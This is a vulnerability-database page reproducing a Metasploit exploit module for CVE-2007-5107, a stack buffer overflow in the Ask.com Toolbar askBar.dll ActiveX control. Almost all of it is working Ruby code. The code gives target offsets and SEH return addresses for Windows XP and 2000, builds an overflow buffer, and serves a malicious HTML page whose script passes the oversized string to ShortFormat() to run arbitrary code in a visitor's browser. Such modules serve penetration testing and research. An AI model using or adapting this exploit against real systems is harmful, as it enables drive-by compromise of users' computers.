Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Ask.com Toolbar ActiveX Buffer Overflo

                                                ##
# $Id: ask_shortformat.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;


class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::Remote::Seh

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.
				An attacker may be able to excute arbitrary code by sending an overly
				long string to the &#34;ShortFormat()&#34; method in askbar.dll.
			},
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Author&#39;         =&#62; [ &#39;MC&#39; ],
			&#39;Version&#39;        =&#62; &#39;$Revision: 9262 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2007-5107&#39; ],
					[ &#39;OSVDB&#39;, &#39;37735&#39; ],
					[ &#39;URL&#39;, &#39;http://wslabi.com/wabisabilabi/showBidInfo.do?code=ZD-00000148&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;         =&#62; 800,
					&#39;BadChars&#39;      =&#62; &#34;\x00\x09\x0a\x0d&#39;\\&#34;,
					&#39;StackAdjustment&#39; =&#62; -3500,
				},
			&#39;Platform&#39;       =&#62; &#39;win&#39;,
			&#39;Targets&#39;        =&#62;
				[
					[ &#39;Windows XP SP0/SP1 Pro English&#39;,     { &#39;Offset&#39; =&#62; 2876, &#39;Ret&#39; =&#62; 0x71aa32ad } ],
					[ &#39;Windows 2000 Pro English ALL&#39;,       { &#39;Offset&#39; =&#62; 1716, &#39;Ret&#39; =&#62; 0x75022ac4 } ],
				],
			&#39;DisclosureDate&#39; =&#62; &#39;Sep 24 2007&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def autofilter
			false
	end

	def check_dependencies
			use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload
		return if ((p = regenerate_payload(cli)) == nil)

		# Randomize some things
		vname	= rand_text_alpha(rand(100) + 1)
		strname	= rand_text_alpha(rand(100) + 1)

		# Set the exploit buffer
		filler = rand_text_alpha(target[&#39;Offset&#39;])
		seh = generate_seh_payload(target.ret)
		sploit = filler + seh + rand_text_alpha(payload.encoded.length)

		# Build out the message
		content = %Q|&#60;html&#62;
&#60;object classid=&#39;clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407&#39; id=&#39;#{vname}&#39;&#62;&#60;/object&#62;
&#60;script language=&#39;javascript&#39;&#62;
#{strname} = new String(&#39;#{sploit}&#39;);
#{vname}.ShortFormat = #{strname}
&#60;/script&#62;
&#60;/html&#62;
|

		print_status(&#34;Sending exploit to #{cli.peerhost}:#{cli.peerport}...&#34;)

		# Transmit the response to the client
		send_response_html(cli, content)

		# Handle the payload
		handler(cli)
	end

end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1